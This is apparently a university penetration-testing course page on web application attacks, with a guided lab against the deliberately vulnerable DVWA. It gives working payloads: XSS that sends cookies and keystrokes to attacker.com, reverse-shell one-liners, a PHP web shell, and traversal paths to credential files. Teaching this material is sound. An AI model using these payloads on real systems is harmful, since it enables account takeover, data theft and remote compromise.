CSY202 Week 06 Intermediate

Practice web exploitation before moving to reading resources.

Applied Cryptography

Track your progress through this week's content

Opening Framing: The Web Attack Surface

Web applications dominate the modern attack surface. Every organization has them—customer portals, admin panels, APIs, and internal tools. They're often custom-built, frequently updated, and regularly vulnerable.

Web application testing requires understanding how web technologies work: HTTP, sessions, authentication, and how user input flows through applications. The OWASP Top 10 provides a framework for the most critical web vulnerabilities.

This week covers web application testing methodology, essential tools like Burp Suite, and hands-on exploitation of common vulnerabilities including SQL injection and XSS.

Key insight: Web applications are where development speed often outpaces security. This creates opportunity for testers.

1) Web Application Fundamentals

Understanding web technologies is essential for testing: 

HTTP Basics:

Request structure:
GET /page.php?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=abc123
Accept: text/html

Response structure:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=abc123
Content-Length: 1234

[HTML content]

Key HTTP methods:
GET    - Retrieve data
POST   - Submit data
PUT    - Update resource
DELETE - Remove resource
OPTIONS - Check allowed methods
HEAD   - Get headers only

Sessions and Authentication: 

Session Management:

HTTP is stateless - sessions track users

Common session mechanisms:
- Cookies (most common)
- URL parameters (insecure)
- Hidden form fields
- JWT tokens

Session attacks:
- Session hijacking (steal session ID)
- Session fixation (force known session)
- Session prediction (guess session ID)

Authentication types:
- Form-based (username/password)
- Basic auth (base64 in header)
- Token-based (API keys, JWT)
- OAuth/SSO (third-party)
- Multi-factor (MFA)

OWASP Top 10 (2021): 

A01: Broken Access Control
     - Unauthorized access to resources
     
A02: Cryptographic Failures
     - Weak crypto, data exposure
     
A03: Injection
     - SQL, OS command, LDAP injection
     
A04: Insecure Design
     - Flawed architecture/design
     
A05: Security Misconfiguration
     - Default configs, verbose errors
     
A06: Vulnerable Components
     - Outdated libraries/frameworks
     
A07: Authentication Failures
     - Weak auth, session issues
     
A08: Software/Data Integrity Failures
     - Insecure deserialization, CI/CD
     
A09: Logging & Monitoring Failures
     - Insufficient logging
     
A10: Server-Side Request Forgery
     - SSRF attacks

Key insight: Most web vulnerabilities stem from trusting user input. Never trust anything from the client.

2) Burp Suite Essentials

Burp Suite is the essential web testing tool: 

Burp Suite Components:

Proxy:
- Intercepts browser traffic
- Modify requests/responses
- Foundation for all testing

Target:
- Site map of discovered content
- Scope definition
- Issue tracking

Intruder:
- Automated attacks
- Fuzzing, brute forcing
- Parameter manipulation

Repeater:
- Manual request modification
- Test variations quickly
- Examine responses

Decoder:
- Encode/decode data
- Base64, URL, HTML, etc.

Comparer:
- Compare responses
- Find differences

Setting Up Burp Proxy: 

# Configure browser to use Burp proxy

1. Start Burp Suite
2. Proxy tab → Options
3. Note listener: 127.0.0.1:8080

4. Configure browser:
   Firefox: Settings → Network → Manual proxy
   Set HTTP Proxy: 127.0.0.1 Port: 8080
   Check "Also use for HTTPS"

5. Install Burp CA certificate:
   Browse to http://burp
   Download CA certificate
   Import into browser's certificate store

# Or use FoxyProxy extension for easy switching

Intercept workflow:
1. Enable Intercept (Proxy → Intercept is on)
2. Browse to target
3. Modify request as needed
4. Forward or Drop
5. Examine response

Key Burp Techniques: 

# Send to Repeater (Ctrl+R)
# Modify and resend requests manually

# Send to Intruder (Ctrl+I)
# Automated attacks

Intruder attack types:

Sniper:
- Single payload position
- One payload at a time
- Good for single parameter testing

Battering Ram:
- Same payload in all positions
- Useful for testing same value everywhere

Pitchfork:
- Multiple payload sets
- Parallel iteration
- username1:password1, username2:password2

Cluster Bomb:
- Multiple payload sets
- All combinations
- username1:password1, username1:password2, etc.

# Useful Intruder payloads:
- /usr/share/seclists/Fuzzing/
- /usr/share/seclists/Passwords/
- /usr/share/seclists/Discovery/

Key insight: Burp Suite is your primary web testing tool. Master it—the time invested pays off enormously.

3) SQL Injection

SQL injection remains one of the most critical web vulnerabilities: 

SQL Injection Basics:

Vulnerable code:
$query = "SELECT * FROM users WHERE id = " + user_input;

If user_input = "1 OR 1=1"
Query becomes:
SELECT * FROM users WHERE id = 1 OR 1=1
(Returns all users!)

If user_input = "1; DROP TABLE users;--"
Query becomes:
SELECT * FROM users WHERE id = 1; DROP TABLE users;--
(Deletes the table!)

SQLi Detection: 

# Test for SQL injection

Basic tests:
'           → Syntax error?
"           → Syntax error?
' OR '1'='1 → Different response?
" OR "1"="1 → Different response?
1 OR 1=1    → More results?
1 AND 1=2   → No results?

# Look for:
- Database error messages
- Different page content
- Response time differences

Error-based indicators:
- "SQL syntax error"
- "mysql_fetch"
- "ORA-00933"
- "Microsoft OLE DB"

# In Burp:
- Send to Repeater
- Modify parameter
- Check response differences

SQLi Exploitation: 

# UNION-based SQLi

1. Find number of columns:
' ORDER BY 1-- 
' ORDER BY 2--
' ORDER BY 3--  (error = 2 columns)

2. Find displayable columns:
' UNION SELECT 1,2--
' UNION SELECT 'a','b'--

3. Extract data:
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,null FROM information_schema.tables--

# Blind SQLi (no visible output)

Boolean-based:
' AND 1=1--  (true - normal response)
' AND 1=2--  (false - different response)
' AND SUBSTRING(username,1,1)='a'--

Time-based:
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
'; WAITFOR DELAY '0:0:5'--

SQLMap Automation: 

# SQLMap automates SQL injection

# Basic test
sqlmap -u "http://target.com/page.php?id=1"

# With cookie/session
sqlmap -u "http://target.com/page.php?id=1" --cookie="session=abc123"

# POST request
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test"

# From Burp request file
sqlmap -r request.txt

# Useful options:
--dbs              # List databases
--tables -D dbname # List tables
--dump -T users    # Dump table
--os-shell         # Get OS shell
--batch            # Non-interactive
--level=5          # Thorough testing
--risk=3           # Include risky tests

# Example workflow:
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D mydb --tables
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump

Key insight: SQL injection can lead to complete database compromise and often remote code execution. It's critical severity.

4) Cross-Site Scripting (XSS)

XSS allows execution of malicious scripts in users' browsers: 

XSS Types:

Reflected XSS:
- Payload in request, reflected in response
- Requires user to click malicious link
- Example: search results page

Stored XSS:
- Payload stored in database
- Affects all users viewing content
- Example: comment sections, profiles

DOM-based XSS:
- Payload processed by client-side JavaScript
- Never sent to server
- Example: URL fragments processed by JS

XSS Detection: 

# Basic XSS tests

Simple payloads:
<script>alert('XSS')</script>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Test in all input fields:
- Search boxes
- Comment fields
- Profile fields
- URL parameters
- HTTP headers (User-Agent, Referer)

# Check if input is:
- Reflected in response
- Stored and displayed later
- Processed by JavaScript

# Look for encoding:
< → &lt;  (HTML encoded - may be safe)
< → <    (not encoded - vulnerable!)

XSS Exploitation: 

# Cookie stealing

<script>
document.location='http://attacker.com/steal.php?c='+document.cookie
</script>

<script>
new Image().src='http://attacker.com/steal?c='+document.cookie;
</script>

# Keylogger

<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

# Defacement

<script>
document.body.innerHTML='<h1>Hacked!</h1>';
</script>

# Phishing

<script>
document.body.innerHTML='<form action="http://attacker.com/phish" method="POST">Login:<br><input name="user"><br><input name="pass" type="password"><br><input type="submit"></form>';
</script>

XSS Filter Bypasses: 

# When basic payloads are filtered:

Case variation:
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x onerror=alert(1)>

Without quotes:
<img src=x onerror=alert(1)>

Different events:
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>

Encoding:
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Breaking out of attributes:
"><script>alert(1)</script>
" onclick=alert(1) "
' onclick=alert(1) '

JavaScript context:
';alert(1)//
";alert(1)//
</script><script>alert(1)</script>

Key insight: XSS impact ranges from annoying to account takeover. Session hijacking via XSS often leads to full compromise.

5) Other Critical Web Vulnerabilities

Beyond SQLi and XSS, several other vulnerabilities are common:

Command Injection: 

# OS command injection

Vulnerable code:
system("ping " + user_input);

If user_input = "127.0.0.1; cat /etc/passwd"
Executes: ping 127.0.0.1; cat /etc/passwd

Test payloads:
; id
| id
|| id
& id
&& id
`id`
$(id)

# Example:
http://target.com/ping.php?ip=127.0.0.1;id

# Get reverse shell:
; bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Directory Traversal: 

# Path traversal / LFI

Vulnerable code:
include($_GET['page'] . '.php');

Test payloads:
../../../etc/passwd
....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

# With null byte (older PHP):
../../../etc/passwd%00

# Windows:
..\..\..\windows\system32\drivers\etc\hosts
..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts

# Useful files to read:
/etc/passwd
/etc/shadow (if permissions allow)
/home/user/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

File Upload Vulnerabilities: 

# Bypass upload restrictions

Extension bypasses:
shell.php → shell.php.jpg
shell.php → shell.phtml
shell.php → shell.php5
shell.php → shell.PhP

Content-Type bypass:
Change Content-Type: application/x-php
To: Content-Type: image/jpeg

Magic bytes:
Add GIF89a; at start of PHP file

Double extensions:
shell.jpg.php
shell.php.jpg (if .jpg not stripped)

Null byte:
shell.php%00.jpg

# Simple PHP shell:
<?php system($_GET['cmd']); ?>

# Access:
http://target.com/uploads/shell.php?cmd=id

Insecure Direct Object Reference (IDOR): 

# IDOR - accessing other users' data

Vulnerable:
http://target.com/profile?user_id=123

Test:
http://target.com/profile?user_id=124
http://target.com/profile?user_id=1

# Check for:
- Sequential IDs
- Predictable values
- UUIDs (still test!)

# In API endpoints:
GET /api/user/123/documents
GET /api/user/124/documents

POST /api/transfer
{"from_account": "123", "to_account": "456"}
Try: {"from_account": "789", "to_account": "456"}

Key insight: Web vulnerabilities often chain together. LFI might enable RCE, IDOR might enable account takeover.

Real-World Context: Web Testing in Practice

Professional web application testing considerations:

Scope Clarity: Web apps often span multiple domains, third-party integrations, and APIs. Clarify exactly what's in scope before testing.

Production Caution: SQL injection can delete data. File uploads can deploy malware. Be careful on production systems—use safe payloads and document everything.

Authentication Testing: Many critical vulns are behind authentication. Ensure you have test accounts and test both authenticated and unauthenticated vectors.

MITRE ATT&CK Mapping:

  • T1190 - Exploit Public-Facing Application: Web exploitation
  • T1059.007 - JavaScript: XSS execution
  • T1505.003 - Web Shell: Upload attacks

Key insight: Web application testing requires both automation and manual analysis. Tools find the obvious; humans find the creative.

Guided Lab: Web Application Attacks

Practice web attacks against DVWA on Metasploitable.

Step 1: Access DVWA

# Browse to:
http://[metasploitable-ip]/dvwa/

# Login:
Username: admin
Password: password

# Set Security Level to "Low"
DVWA Security → Low → Submit

Step 2: SQL Injection

# Navigate to SQL Injection

# Test basic injection:
User ID: 1' OR '1'='1

# Extract data:
1' UNION SELECT user,password FROM users--

# Try with SQLMap:
# Get the URL with cookie from browser
sqlmap -u "http://[ip]/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="[your-cookie]" --dbs

Step 3: XSS

# Navigate to XSS (Reflected)

# Test basic payload:
<script>alert('XSS')</script>

# Try cookie stealing:
<script>alert(document.cookie)</script>

# Navigate to XSS (Stored)
# Leave a persistent XSS in the guestbook

Step 4: Command Injection

# Navigate to Command Injection

# Test:
127.0.0.1; id
127.0.0.1; cat /etc/passwd
127.0.0.1; whoami

# Get reverse shell:
# Start listener on Kali: nc -lvnp 4444
127.0.0.1; nc -e /bin/bash [your-kali-ip] 4444

Step 5: File Upload

# Navigate to File Upload

# Create simple PHP shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload shell.php

# Access:
http://[ip]/dvwa/hackable/uploads/shell.php?cmd=id

Reflection (mandatory)

  1. Which vulnerability was easiest to exploit?
  2. How would these vulnerabilities be prevented?
  3. What could an attacker achieve with each vulnerability?
  4. How does "Low" security compare to real-world apps?

Week 6 Outcome Check

By the end of this week, you should be able to:

Next week: Password Attacks—cracking credentials and bypassing authentication.

🎯 Hands-On Labs (Free & Essential)

Practice web exploitation before moving to reading resources.

🎮 TryHackMe: Burp Suite Basics

What you'll do: Intercept requests, replay attacks, and test inputs.
Why it matters: Burp is the core tool for web application testing.
Time estimate: 1-2 hours

Start TryHackMe Burp Suite Basics →

🎮 TryHackMe: OWASP Top 10

What you'll do: Walk through common web flaws and exploitation patterns.
Why it matters: Most web findings map directly to the OWASP Top 10.
Time estimate: 2-3 hours

Start TryHackMe OWASP Top 10 →

🏁 PicoCTF Practice: Web Exploitation

What you'll do: Solve beginner web challenges using SQLi, XSS, and auth testing.
Why it matters: CTF practice builds intuition for real-world flaws.
Time estimate: 1-2 hours

Start PicoCTF Web Exploitation →

🛡️ Lab: Test Weak TLS Configs

What you'll do: Use SSLyze or testssl.sh to audit a TLS endpoint.
Deliverable: Audit output with weak ciphers and fixes noted.
Why it matters: TLS misconfigurations are common in web targets.
Time estimate: 60-90 minutes

💡 Lab Tip: Use Burp Repeater to isolate and confirm every vulnerability.

🛡️ TLS Misconfiguration Checks

Web testing should always include TLS posture. Weak ciphers and outdated protocols create direct exploitation paths. 

Quick checks:
- TLS 1.2+ only (no SSLv3/TLS 1.0)
- Strong cipher suites (no RC4/3DES)
- HSTS enabled where appropriate
- Valid, trusted certificate chains

📚 Building on CSY101 Week-14: Map TLS posture to compliance requirements.

Resources

Complete the required resources to build your foundation.

Lab: Comprehensive Web Application Test

Goal: Perform complete web application security assessment of DVWA.

Part 1: Reconnaissance

  1. Map all DVWA functionality
  2. Identify all input points
  3. Document technology stack

Part 2: Vulnerability Testing

  1. Test all DVWA modules at Low security:
    • Brute Force
    • Command Injection
    • CSRF
    • File Inclusion
    • File Upload
    • SQL Injection
    • SQL Injection (Blind)
    • XSS (Reflected)
    • XSS (Stored)
  2. Document each vulnerability found

Part 3: Exploitation

  1. Achieve code execution via at least 2 methods
  2. Extract sensitive data from database
  3. Demonstrate session hijacking potential

Part 4: Reporting

  1. Document each vulnerability with:
    • Description
    • Severity
    • Evidence
    • Remediation

Deliverable (submit):

Checkpoint Questions

  1. What is the difference between reflected and stored XSS?
  2. How do you test for SQL injection vulnerabilities?
  3. What is the purpose of Burp Suite's Intruder tool?
  4. What can an attacker achieve with command injection?
  5. What is an IDOR vulnerability?
  6. How can file upload vulnerabilities lead to RCE?

Week 06 Quiz

Test your understanding of web app vulnerabilities and Burp Suite workflows.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Weekly Reflection

Reflection Prompt (200-300 words):

This week you explored web application hacking—the most common attack surface in modern security testing. You exploited SQL injection, XSS, and other critical vulnerabilities.

Reflect on these questions:

A strong reflection will consider both technical and organizational factors in web security.

Verified Resources & Videos

Web application testing is a deep specialization within penetration testing. The techniques you learned this week are foundational—there's much more to explore. Consider the PortSwigger Web Security Academy for advanced practice. Next week: password attacks and credential testing.

← Previous: Week 05 Next: Week 07 →